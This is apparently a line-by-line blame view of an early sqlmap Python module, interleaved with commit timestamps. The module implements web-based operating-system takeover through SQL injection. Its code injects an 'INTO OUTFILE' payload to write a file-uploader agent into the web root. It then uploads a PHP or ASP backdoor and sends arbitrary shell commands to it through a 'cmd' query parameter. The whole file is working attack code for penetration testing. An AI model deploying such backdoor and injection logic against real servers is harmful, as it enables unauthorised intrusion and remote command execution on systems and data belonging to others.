2010-01-14 17:03:16 +03:00
|
|
|
#!/usr/bin/env python
|
|
|
|
|
|
|
|
"""
|
|
|
|
$Id$
|
|
|
|
|
|
|
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
|
|
|
|
|
|
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
|
|
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
|
|
|
|
|
|
|
sqlmap is free software; you can redistribute it and/or modify it under
|
|
|
|
the terms of the GNU General Public License as published by the Free
|
|
|
|
Software Foundation version 2 of the License.
|
|
|
|
|
|
|
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
|
|
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
|
|
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
|
|
|
details.
|
|
|
|
|
|
|
|
You should have received a copy of the GNU General Public License along
|
|
|
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|
|
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|
|
|
"""
|
|
|
|
|
|
|
|
import os
|
|
|
|
import re
|
|
|
|
|
2010-01-28 19:56:00 +03:00
|
|
|
from extra.cloak.cloak import decloak
|
2010-01-14 17:03:16 +03:00
|
|
|
from lib.core.agent import agent
|
2010-01-28 19:50:34 +03:00
|
|
|
from lib.core.common import decloakToNamedTemporaryFile
|
2010-01-14 17:03:16 +03:00
|
|
|
from lib.core.common import fileToStr
|
|
|
|
from lib.core.common import getDirs
|
|
|
|
from lib.core.common import getDocRoot
|
2010-02-04 17:37:00 +03:00
|
|
|
from lib.core.common import ntToPosixSlashes
|
2010-02-04 12:49:31 +03:00
|
|
|
from lib.core.common import isWindowsPath
|
2010-02-03 19:10:09 +03:00
|
|
|
from lib.core.common import normalizePath
|
2010-02-04 17:37:00 +03:00
|
|
|
from lib.core.common import posixToNtSlashes
|
2010-01-14 17:03:16 +03:00
|
|
|
from lib.core.common import readInput
|
|
|
|
from lib.core.convert import hexencode
|
|
|
|
from lib.core.data import conf
|
|
|
|
from lib.core.data import kb
|
|
|
|
from lib.core.data import logger
|
|
|
|
from lib.core.data import paths
|
|
|
|
from lib.core.exception import sqlmapUnsupportedDBMSException
|
|
|
|
from lib.core.shell import autoCompletion
|
|
|
|
from lib.request.connect import Connect as Request
|
|
|
|
|
|
|
|
|
|
|
|
class Web:
|
|
|
|
"""
|
|
|
|
This class defines web-oriented OS takeover functionalities for
|
|
|
|
plugins.
|
|
|
|
"""
|
|
|
|
|
|
|
|
def __init__(self):
|
|
|
|
self.webApi = None
|
|
|
|
self.webBaseUrl = None
|
|
|
|
self.webBackdoorUrl = None
|
|
|
|
self.webUploaderUrl = None
|
2010-01-14 23:42:45 +03:00
|
|
|
self.webDirectory = None
|
2010-01-14 17:03:16 +03:00
|
|
|
|
2010-01-14 17:33:08 +03:00
|
|
|
def webBackdoorRunCmd(self, cmd):
|
2010-01-14 17:03:16 +03:00
|
|
|
if self.webBackdoorUrl is None:
|
|
|
|
return
|
|
|
|
|
|
|
|
output = None
|
|
|
|
|
|
|
|
if not cmd:
|
|
|
|
cmd = conf.osCmd
|
|
|
|
|
|
|
|
cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, cmd)
|
|
|
|
page, _ = Request.getPage(url=cmdUrl, direct=True, silent=True)
|
|
|
|
|
|
|
|
if page is not None:
|
2010-01-14 17:33:08 +03:00
|
|
|
output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)
|
2010-01-14 17:03:16 +03:00
|
|
|
|
|
|
|
if output:
|
2010-01-14 17:33:08 +03:00
|
|
|
output = output.group(1)
|
2010-01-14 17:03:16 +03:00
|
|
|
|
|
|
|
return output
|
|
|
|
|
|
|
|
def webFileUpload(self, fileToUpload, destFileName, directory):
|
2010-01-28 20:07:34 +03:00
|
|
|
inputFile = open(fileToUpload, "r")
|
2010-02-04 13:10:41 +03:00
|
|
|
retVal = self.__webFileStreamUpload(inputFile, destFileName, directory)
|
2010-01-28 20:07:34 +03:00
|
|
|
inputFile.close()
|
2010-02-04 13:10:41 +03:00
|
|
|
return retVal
|
2010-01-28 20:07:34 +03:00
|
|
|
|
2010-01-28 19:50:34 +03:00
|
|
|
def __webFileStreamUpload(self, stream, destFileName, directory):
|
2010-02-09 17:27:41 +03:00
|
|
|
if self.webApi in ("php", "asp"):
|
2010-01-14 17:03:16 +03:00
|
|
|
multipartParams = {
|
|
|
|
"upload": "1",
|
2010-01-27 16:59:25 +03:00
|
|
|
"file": stream,
|
2010-01-14 17:03:16 +03:00
|
|
|
"uploadDir": directory,
|
|
|
|
}
|
2010-02-16 16:20:34 +03:00
|
|
|
|
2010-02-09 17:27:41 +03:00
|
|
|
page = Request.getPage(url=self.webUploaderUrl, multipart=multipartParams, raise404=False)
|
2010-01-14 17:03:16 +03:00
|
|
|
|
2010-02-16 16:20:34 +03:00
|
|
|
if stream:
|
|
|
|
stream.seek(0)
|
|
|
|
|
2010-01-28 20:07:34 +03:00
|
|
|
if "File uploaded" not in page:
|
2010-01-14 17:03:16 +03:00
|
|
|
warnMsg = "unable to upload the backdoor through "
|
|
|
|
warnMsg += "the uploader agent on '%s'" % directory
|
|
|
|
logger.warn(warnMsg)
|
2010-02-04 13:10:41 +03:00
|
|
|
return False
|
|
|
|
else:
|
|
|
|
return True
|
2010-01-14 17:03:16 +03:00
|
|
|
|
|
|
|
elif self.webApi == "jsp":
|
2010-02-04 13:10:41 +03:00
|
|
|
return False
|
2010-01-14 17:03:16 +03:00
|
|
|
|
2010-02-16 16:20:34 +03:00
|
|
|
def __webFileInject(self, fileContent, fileName, directory):
|
|
|
|
outFile = normalizePath("%s/%s" % (directory, fileName))
|
|
|
|
uplQuery = fileContent.replace("WRITABLE_DIR", directory.replace('/', '\\\\') if kb.os == "Windows" else directory)
|
|
|
|
query = " LIMIT 1 INTO OUTFILE '%s' " % outFile
|
|
|
|
query += "LINES TERMINATED BY 0x%s --" % hexencode(uplQuery)
|
|
|
|
query = agent.prefixQuery(" %s" % query)
|
|
|
|
query = agent.postfixQuery(query)
|
|
|
|
payload = agent.payload(newValue=query)
|
|
|
|
page = Request.queryPage(payload)
|
|
|
|
|
2010-01-14 17:03:16 +03:00
|
|
|
def webInit(self):
|
|
|
|
"""
|
|
|
|
This method is used to write a web backdoor (agent) on a writable
|
|
|
|
remote directory within the web server document root.
|
|
|
|
"""
|
|
|
|
|
|
|
|
if self.webBackdoorUrl is not None and self.webUploaderUrl is not None and self.webApi is not None:
|
|
|
|
return
|
|
|
|
|
2010-01-28 13:27:47 +03:00
|
|
|
self.checkDbmsOs()
|
2010-01-14 17:03:16 +03:00
|
|
|
|
|
|
|
kb.docRoot = getDocRoot()
|
2010-01-14 23:42:45 +03:00
|
|
|
directories = getDirs()
|
|
|
|
directories = list(directories)
|
|
|
|
directories.sort()
|
2010-01-14 17:03:16 +03:00
|
|
|
|
|
|
|
infoMsg = "trying to upload the uploader agent"
|
|
|
|
logger.info(infoMsg)
|
|
|
|
|
|
|
|
message = "which web application language does the web server "
|
|
|
|
message += "support?\n"
|
|
|
|
message += "[1] ASP\n"
|
|
|
|
message += "[2] PHP (default)\n"
|
|
|
|
message += "[3] JSP"
|
|
|
|
|
|
|
|
while True:
|
|
|
|
choice = readInput(message, default="2")
|
|
|
|
|
|
|
|
if not choice or choice == "2":
|
|
|
|
self.webApi = "php"
|
|
|
|
break
|
|
|
|
|
|
|
|
elif choice == "1":
|
|
|
|
self.webApi = "asp"
|
|
|
|
break
|
|
|
|
|
|
|
|
elif choice == "3":
|
|
|
|
errMsg = "JSP web backdoor functionality is not yet "
|
|
|
|
errMsg += "implemented"
|
|
|
|
raise sqlmapUnsupportedDBMSException(errMsg)
|
|
|
|
|
|
|
|
elif not choice.isdigit():
|
|
|
|
logger.warn("invalid value, only digits are allowed")
|
|
|
|
|
|
|
|
elif int(choice) < 1 or int(choice) > 3:
|
|
|
|
logger.warn("invalid value, it must be 1 or 3")
|
|
|
|
|
|
|
|
backdoorName = "backdoor.%s" % self.webApi
|
2010-01-28 19:50:34 +03:00
|
|
|
backdoorStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, backdoorName + '_'), backdoorName)
|
2010-02-16 16:20:34 +03:00
|
|
|
backdoorContent = backdoorStream.read()
|
|
|
|
backdoorStream.seek(0)
|
2010-01-27 16:59:25 +03:00
|
|
|
|
2010-01-14 17:03:16 +03:00
|
|
|
uploaderName = "uploader.%s" % self.webApi
|
2010-01-27 18:44:35 +03:00
|
|
|
uploaderContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, uploaderName + '_'))
|
2010-01-27 16:59:25 +03:00
|
|
|
|
2010-01-14 23:42:45 +03:00
|
|
|
for directory in directories:
|
2010-01-14 17:03:16 +03:00
|
|
|
# Upload the uploader agent
|
2010-02-16 16:20:34 +03:00
|
|
|
self.__webFileInject(uploaderContent, uploaderName, directory)
|
2010-02-03 19:10:09 +03:00
|
|
|
|
2010-02-04 17:39:24 +03:00
|
|
|
requestDir = ntToPosixSlashes(directory).replace(ntToPosixSlashes(kb.docRoot), "/").replace("//", "/")
|
2010-02-04 12:49:31 +03:00
|
|
|
if isWindowsPath(requestDir):
|
2010-02-03 19:10:09 +03:00
|
|
|
requestDir = requestDir[2:]
|
2010-02-03 19:40:12 +03:00
|
|
|
requestDir = normalizePath(requestDir)
|
2010-01-14 17:03:16 +03:00
|
|
|
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
|
|
|
|
self.webUploaderUrl = "%s/%s" % (self.webBaseUrl, uploaderName)
|
2010-02-04 17:37:00 +03:00
|
|
|
self.webUploaderUrl = ntToPosixSlashes(self.webUploaderUrl.replace("./", "/"))
|
2010-02-03 19:16:34 +03:00
|
|
|
uplPage, _ = Request.getPage(url=self.webUploaderUrl, direct=True, raise404=False)
|
2010-02-16 16:20:34 +03:00
|
|
|
|
2010-01-28 20:07:34 +03:00
|
|
|
if "sqlmap file uploader" not in uplPage:
|
2010-01-14 17:03:16 +03:00
|
|
|
warnMsg = "unable to upload the uploader "
|
|
|
|
warnMsg += "agent on '%s'" % directory
|
|
|
|
logger.warn(warnMsg)
|
|
|
|
|
|
|
|
continue
|
|
|
|
|
|
|
|
infoMsg = "the uploader agent has been successfully uploaded "
|
|
|
|
infoMsg += "on '%s'" % directory
|
|
|
|
logger.info(infoMsg)
|
2010-02-04 17:37:00 +03:00
|
|
|
|
|
|
|
if kb.os == "Windows":
|
|
|
|
directory = posixToNtSlashes(directory)
|
|
|
|
|
2010-02-16 16:20:34 +03:00
|
|
|
if not self.__webFileStreamUpload(backdoorStream, backdoorName, directory):
|
|
|
|
message = "backdoor hasn't been successfully uploaded "
|
|
|
|
message += "with uploader probably because of permission "
|
|
|
|
message += "issues. do you want to try the same method used "
|
|
|
|
message += "for uploader? [y/N] "
|
|
|
|
getOutput = readInput(message, default="N")
|
|
|
|
if getOutput in ("y", "Y"):
|
|
|
|
self.__webFileInject(self, backdoorContent, backdoorName, directory)
|
|
|
|
else:
|
|
|
|
continue
|
|
|
|
|
|
|
|
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
|
|
|
|
self.webDirectory = directory
|
|
|
|
infoMsg = "the backdoor has probably been successfully "
|
|
|
|
infoMsg += "uploaded on '%s', go with your browser " % directory
|
|
|
|
infoMsg += "to '%s' and enjoy it!" % self.webBackdoorUrl
|
|
|
|
logger.info(infoMsg)
|
2010-01-14 17:03:16 +03:00
|
|
|
|
|
|
|
break
|